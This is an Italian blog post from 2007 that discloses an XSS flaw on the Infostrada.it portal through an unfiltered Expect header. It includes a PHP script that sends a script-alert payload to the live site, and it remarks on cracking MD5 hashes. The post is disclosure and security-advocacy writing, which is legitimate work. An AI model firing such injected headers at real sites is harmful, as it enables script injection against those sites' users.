blogo, informazione indipendente
Logo Blogosfere

Vulnerabilità Infostrada.it. Header XSS Injection

Gianni Amato avatar Venerdì 30 Marzo 2007, 03:20 in Exploit, Vulnerabilità, Web/Tech di Gianni Amato

Per mancanza di tempo non ho potuto scrivere nulla riguardo la vulnerabilità XSS sul portale Libero.it segnalatami via email da Rosario Valotta.

Noto con piacere che Mattero Flora si è preso la briga di portare avanti la vicenda sul suo blog segnalando altre due vulnerabilità induviduate insieme a Matteo Carli che trovate ripubblicate in un nuovo advisory.

I tecnici di Libero.it spiegano a Punto Informatico che il problema non è poi così grave, lasciando intendere che dall'MD5 estratto non è possibile ricostruire la password poichè viene ulteriormente codificato con appositi strumenti proprietari.

Questa tecnica, se veramente è stata adottata, può solamente rendere più complicato il processo di decodifica. C'è chi di tempo ne spende, e anche molto, a studiare gli algoritmi crittografici. L'MD5 è una stringa di lunghezza fissa, il che ne semplifica il confronto con una stringa codificata di cui è nota la password. Da tale confronto non dovrebbe essere impossibile purgare l'MD5 per poi ricorrere a strumenti adatti per decodificarlo (leggi post MD5 online crack).

Visto che in Italia le vulnerabilità XSS sono sempre sottovalutate, per dare un maggiore peso a quanto finora detto aggiungo una nuova vulnerabilità Cross Site Scripting sul portale Infostrada.it .

Infostrada.it lavora con una vecchia versione di Apache (1.3.12) vulnerabile a HTML injection con codice javascript malizioso.

La vulnerabilità risiede nel parametro Expect iniettato nell'header che non viene filtrato. E' possibile inviare richieste Http in modo arbitrario tramite un exploit incluso in un file Flash.

Vediamo come testare la vulnerabilità.

Provate a lanciare una richiesta con questo codice php in cui viene manipolato il parametro Expect:

<?php
$server_url = "www.infostrada.it";
$plain_response = "";
 
$fp = fsockopen($server_url, 80);
  fputs($fp, "GET / HTTP/1.1\r\n");
  fputs($fp, "Accept: text/html\r\n");
  fputs($fp, "Host: ".$server_url."\r\n");
  fputs($fp, "Cache-Control: max-age=10000\r\n");
  fputs($fp, "Connection: Close\r\n");
  fputs($fp, "Expect: <script>alert('XSS')</script>\r\n\r\n");
 
  while (!feof($fp)) $plain_response .= fgets($fp);
fclose($fp);
 
echo $plain_response;
?>

Ecco il risultato.

Come potete vedere dall'immagine lo script iniettato non è stato filtrato, viene passato al browser che esegue alla lettera il contenuto del pacchetto restituito.

Il bug è ben documentato su Securityfocus. Sarebbe ora di rivedere la sicurezza dell'intero portale!

0

Lascia il tuo commento

Accedi con Facebook Esci da Facebook

Attendere la pubblicazione del commento

Seguici

Iscriviti ai nostri feed rss. Leggi in tempo reale tutti i post pubblicati dal blogger!

Post in evidenza su Blogosfere